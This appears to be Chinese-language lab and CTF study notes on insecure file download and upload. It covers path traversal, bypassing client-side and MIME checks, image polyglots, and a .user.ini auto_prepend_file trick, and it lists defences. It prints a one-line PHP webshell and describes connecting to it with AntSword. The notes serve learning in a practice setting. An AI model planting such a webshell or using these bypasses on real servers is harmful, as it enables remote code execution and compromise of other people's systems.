一.不安全的文件下载测试(失败):
1.
下载其中一张图片的URL如图
2.
下载C盘下win.ini文件失败
3.
手动放置一个测试文件到download目录下
4.
下载成功并确认为手动添加的文件(不过中文未显示出来,可能是前端代码的问题)
5.
手动放置一个测试文件到C盘根目录下
6.
下载失败,原因未知(显示未找到unsafe_down.php文件?)
更新:原因是../../../../只能回到当前磁盘根目录也就是D:/ ,无法访问C盘的文件!
我是蒟蒻,别骂了别骂了
二.不安全的文件下载防范措施:
1.对传入的文件名进行严格的过滤和限定
2.对文件下载的目录进行严格的限定
三.不安全的文件上传之client check
1.
想上传一个txt文件,失败。不过由于是在前端弹出的弹窗,考虑是否是在前端写的验证机制
2.
查看前端代码并修改调用函数
3.
上传成功
四.不安全的文件上传之MINE type验证
MIME(Multipurpose Internet Mail Extensions,多用途互联网邮件扩展类型)
是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问时,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
$_FILES()函数 从浏览器的HTTP头里获取 Content-Type ,这个 Content-Type 前端用户是可以控制的。
1.
获得上传成功和失败的POST,并将成功的POST中的Content-Type复制
2.
在上传失败的POST中修改原来的Content-Type为上传成功的Content-Type,然后重放,成功上传
五.不安全的文件上传之getimagesize(失败)
1.
用cmd合成包含恶意代码的图片(copy /b 1.jpg + phpinfo.php ccc.jpg)
2.
记住文件上传路径
3.
用多个../试出文件正确路径,此处未正常执行phpinfo.php,原因未知
4.
怀疑是jpg格式文件的问题,换用png格式文件后依然失败,原因未知
六.不安全的文件上传漏洞之防范措施
1.不要在前端使用JS实施上传限制策略
2.在服务器端对上传文件进行限制:
进行多条件组合检查:比如文件的大小,路径,拓展名,文件类型,文件完整性;
对上传的文件在服务器上存储时进行重命名(制定合理的命名规则);
对服务器端上传文件的目录进行权限控制(比如只读),限制执行权限带来的危害;
文件上传绕过:
一句话木马:
<script language='php'>eval(@$_POST['shell']);</script>
前端检查:修改文件后缀
内容检测:用文件幻术头进行绕过,如gif:GIF89a
上传成功后进行抓包,修改上传文件后缀,如phtml
用蚁剑连接找flag即可
[极客大挑战 2019]Upload 1
大致意思就是:我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);
这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)
故可以上传一个.user.ini文件:
GIF89a
auto_prepend_file=phpinfo.gif
再上传名为phpinfo.gif的图片马
然后蚁剑访问/index.php即可
[SUCTF 2019]CheckIn 1
Comments NOTHING